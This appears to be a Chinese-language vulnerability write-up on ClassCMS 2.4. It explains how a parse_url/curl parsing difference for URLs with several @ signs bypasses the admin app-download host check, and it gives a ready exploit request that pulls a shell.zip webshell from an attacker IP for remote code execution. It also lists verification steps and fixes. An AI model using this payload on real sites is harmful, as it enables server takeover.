某CMS2.4代码审计
字数 1116 2025-08-29 08:30:36

ClassCMS 2.4 远程文件下载漏洞分析与利用

漏洞概述

ClassCMS 2.4 版本在后台管理系统中存在一个远程文件下载漏洞,攻击者可以通过构造特殊的URL绕过主机名验证,实现任意文件下载并解压,最终可能导致远程代码执行。

漏洞位置

后台管理模块中的"应用管理->应用下载"功能:

http://[target]/admin666?do=shop:downloadClass&ajax=1

漏洞条件

  1. 需要后台管理员权限
  2. 目标服务器需要安装并启用php_zip扩展

漏洞分析

关键代码路径

漏洞主要存在于以下文件中:

  • /class/shop/shop.php 中的 downloadClass()download() 函数

漏洞原理

  1. 主机名验证绕过

    • 系统使用parse_url()解析URL获取主机名
    • 但实际下载时使用curl库解析URL
    • 两者对包含多个@符号的URL解析方式不同
  2. 下载与解压流程

    • 下载的文件会被保存到缓存目录
    • 然后解压到/class/{classhash}/目录下

关键代码片段

function download($url,$filepath) {
    $hosts=array_merge(explode(';',C('this:defaultHost')),array(config('host')));
    if($defaulthost=config('defaulthost')) {
        $hosts=array_merge($hosts,explode(';',$defaulthosts));
    }
    
    $checkurl=parse_url($url);
    if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
        Return false;
    }
    
    // 实际下载操作...
}

漏洞利用

利用步骤

  1. 准备一个包含恶意PHP文件的ZIP压缩包(如shell.zip包含shell.php
  2. 构造特殊的URL绕过主机名验证
  3. 发送恶意请求触发下载
  4. 访问解压后的恶意文件执行代码

利用Payload

请求包示例

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的管理员cookie]

classhash=test&url=http://@attacker-ip:80@classcms.com/shell.zip&csrf=[有效的CSRF令牌]

关键参数说明

  • classhash: 解压后的目录名
  • url: 构造的特殊URL格式:
    • http://@[攻击者IP]:[端口]@classcms.com/[文件名].zip
  • csrf: 有效的CSRF令牌

漏洞验证

  1. 黑盒测试

    • 修改URL参数尝试下载外部文件
    • 观察返回信息:"安装包格式错误,请重试"表示下载成功但解压验证失败
  2. 白盒测试

    • 本地搭建环境调试parse_url()与curl的解析差异
    • 验证绕过逻辑的有效性

影响版本

ClassCMS 2.4及可能更早版本

修复建议

  1. 升级到最新版本
  2. 临时修复方案:
    • 修改/class/shop/shop.php中的download()函数
    • 添加对URL中@符号的检查
    • 使用更严格的主机名验证机制

技术细节

parse_url与curl解析差异

  • parse_url(): 解析最后一个@之后的内容作为host
  • curl: 解析第一个@之后的内容作为host

受影响PHP版本

在较新版本的curl(curl>=7.54.0)中已修复多个@的解析问题,使用多个@会报错。

漏洞证明

成功利用后,恶意文件将存在于:

http://target.com/class/[classhash值]/[恶意文件名].php

参考

  • Black Hat 2017: "A New Era of SSRF" by Orange Tsai
  • CURL漏洞CVE-2017-1000257
ClassCMS 2.4 远程文件下载漏洞分析与利用 漏洞概述 ClassCMS 2.4 版本在后台管理系统中存在一个远程文件下载漏洞,攻击者可以通过构造特殊的URL绕过主机名验证,实现任意文件下载并解压,最终可能导致远程代码执行。 漏洞位置 后台管理模块中的"应用管理->应用下载"功能: 漏洞条件 需要后台管理员权限 目标服务器需要安装并启用php_ zip扩展 漏洞分析 关键代码路径 漏洞主要存在于以下文件中: /class/shop/shop.php 中的 downloadClass() 和 download() 函数 漏洞原理 主机名验证绕过 : 系统使用 parse_url() 解析URL获取主机名 但实际下载时使用curl库解析URL 两者对包含多个 @ 符号的URL解析方式不同 下载与解压流程 : 下载的文件会被保存到缓存目录 然后解压到 /class/{classhash}/ 目录下 关键代码片段 漏洞利用 利用步骤 准备一个包含恶意PHP文件的ZIP压缩包(如 shell.zip 包含 shell.php ) 构造特殊的URL绕过主机名验证 发送恶意请求触发下载 访问解压后的恶意文件执行代码 利用Payload 请求包示例 : 关键参数说明 classhash : 解压后的目录名 url : 构造的特殊URL格式: http://@[攻击者IP]:[端口]@classcms.com/[文件名].zip csrf : 有效的CSRF令牌 漏洞验证 黑盒测试 : 修改URL参数尝试下载外部文件 观察返回信息:"安装包格式错误,请重试"表示下载成功但解压验证失败 白盒测试 : 本地搭建环境调试 parse_url() 与curl的解析差异 验证绕过逻辑的有效性 影响版本 ClassCMS 2.4及可能更早版本 修复建议 升级到最新版本 临时修复方案: 修改 /class/shop/shop.php 中的 download() 函数 添加对URL中 @ 符号的检查 使用更严格的主机名验证机制 技术细节 parse_ url与curl解析差异 parse_url() : 解析最后一个 @ 之后的内容作为host curl : 解析第一个 @ 之后的内容作为host 受影响PHP版本 在较新版本的curl(curl>=7.54.0)中已修复多个 @ 的解析问题,使用多个 @ 会报错。 漏洞证明 成功利用后,恶意文件将存在于: 参考 Black Hat 2017: "A New Era of SSRF" by Orange Tsai CURL漏洞CVE-2017-1000257